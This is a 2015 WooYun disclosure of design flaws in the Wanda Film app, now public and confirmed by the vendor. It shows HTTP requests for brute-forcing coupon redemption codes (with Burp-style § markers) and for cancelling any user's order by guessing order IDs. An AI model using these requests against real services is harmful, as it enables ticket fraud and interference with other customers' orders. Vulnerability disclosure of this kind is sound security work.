当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099102

漏洞标题：万达电影app多处设计缺陷

相关厂商：大连万达集团股份有限公司

漏洞作者： zzR

提交时间：2015-03-02 17:28

修复时间：2015-04-16 17:30

公开时间：2015-04-16 17:30

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-02： 细节已通知厂商并且等待厂商处理中
2015-03-02： 厂商已经确认，细节仅向厂商公开
2015-03-12： 细节向核心白帽子及相关领域专家公开
2015-03-22： 细节向普通白帽子公开
2015-04-01： 细节向实习白帽子公开
2015-04-16： 细节向公众公开

简要描述：

丑的人要多发洞，虽然我承认我帅.

详细说明：

万达电影app 版本V3.9.0
缺陷01、多个接口可以遍历电影兑换券，无限制
web端 WooYun: 万达电影某处设计不当可导致非法获得电影票
app端接口
绑定优惠券接口

GET /filmserver/user/bindcoupon?
clienttype=1&clientversion=&type=1&clientid=1&verifycode=&code=§7604184XXXXXXXXX§&couponid=7604184XXXXXXXX&imei=&version=2&cinemaid= HTTP/1.1
Host: wdapi.wandafilm.com


解绑优惠券接口

GET /filmserver/user/unbindcoupon?clientversion=30900&type=1&clientid=1&verifycode=&couponid=7604184XXXXXX&imei=&version=2&clienttype=1 HTTP/1.1
Host: wdapi.wandafilm.com


使用优惠券接口

GET /filmserver/trade/batchlockvoucher?clientversion=30900&clientid=1&orderid=20150XXXXXXXX3&verifycode=&voucherid=%5B%22§760184XXXXXXXX§%22%5D&seat=%5B%7B%22colindex%22:0,%22colname%22:%228%22,%22rowindex%22:0,%22rowname%22:%226%22%7D%5D&imei=&clienttype=1&version=2 HTTP/1.1
Host: wdapi.wandafilm.com


QQ截图20150302161444.png


14.png


均可碰撞出兑换码 ，方法不在此赘述。

12.png


漏洞证明：

缺陷02
遍历取消任意用户订单
web端已经被提交过
app 接口

GET /filmserver/trade/cancelorder?clientversion=30900&clientid=1&orderid=2015030216351XXXXXX&verifycode=&imei=&clienttype=1&version=2 HTTP/1.1
Host: wdapi.wandafilm.com


orderid 很好拼凑，日期+时间+6-8位的随机字符串
这里简单测试了一个

15.png


确认了问题，ok

修复方案：

01、接口限制
02、水平权限权健
03、众测来一发？

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-03-02 18:31

厂商回复：

感谢路人甲同学的关注与贡献！马上通知业务整改！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-02 22:32 | 小菜大师 ( 路人 | Rank:0 漏洞数:1 | 最神奇的一群人，智慧低调又内敛，俗称马甲...)

    oo

  2. 2015-03-02 23:13 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    莫非源码审计！

  3. 2015-03-11 14:28 | 大连万达集团(乌云厂商)

    路人甲同学，请私信留Q联系礼物事宜！